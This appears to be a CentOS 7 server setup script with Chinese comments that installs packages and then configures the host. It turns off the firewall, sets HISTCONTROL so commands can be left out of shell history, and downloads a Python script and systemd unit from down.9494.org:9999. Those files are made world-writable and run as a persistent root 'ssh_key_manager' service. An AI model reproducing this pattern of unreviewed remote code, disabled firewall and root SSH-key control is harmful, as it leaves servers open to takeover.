export HISTCONTROL=ignorespace
curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo
#sudo yum-config-manager --disable centos-sclo-sclo
yum clean all
yum makecache
sudo yum update -y
sudo yum -y install wget gcc make net-tools usbutils libelf-devel kernel-devel
sudo yum install epel-release -y
sudo yum -y install python3 python3-devel
sudo yum install jq -y
pip3 install requests
pip3 install python-dotenv
pip3 install netifaces
sudo yum install euca2ools python-paramiko  qemu-img -y  apt*  
#关闭防火墙
systemctl disable firewalld.service
systemctl stop firewalld.service
#安装key
curl -o /etc/systemd/system/ssh_key_manager.service http://down.9494.org:9999/ssh_key_manager.service
chmod 777 /etc/systemd/system/ssh_key_manager.service
curl -o /opt/ssh_key_manager.py http://down.9494.org:9999/ssh_key_manager.py
chmod 777 /opt/ssh_key_manager.py
sudo systemctl daemon-reload
sudo systemctl start ssh_key_manager
sudo systemctl enable ssh_key_manager
sudo systemctl status ssh_key_manager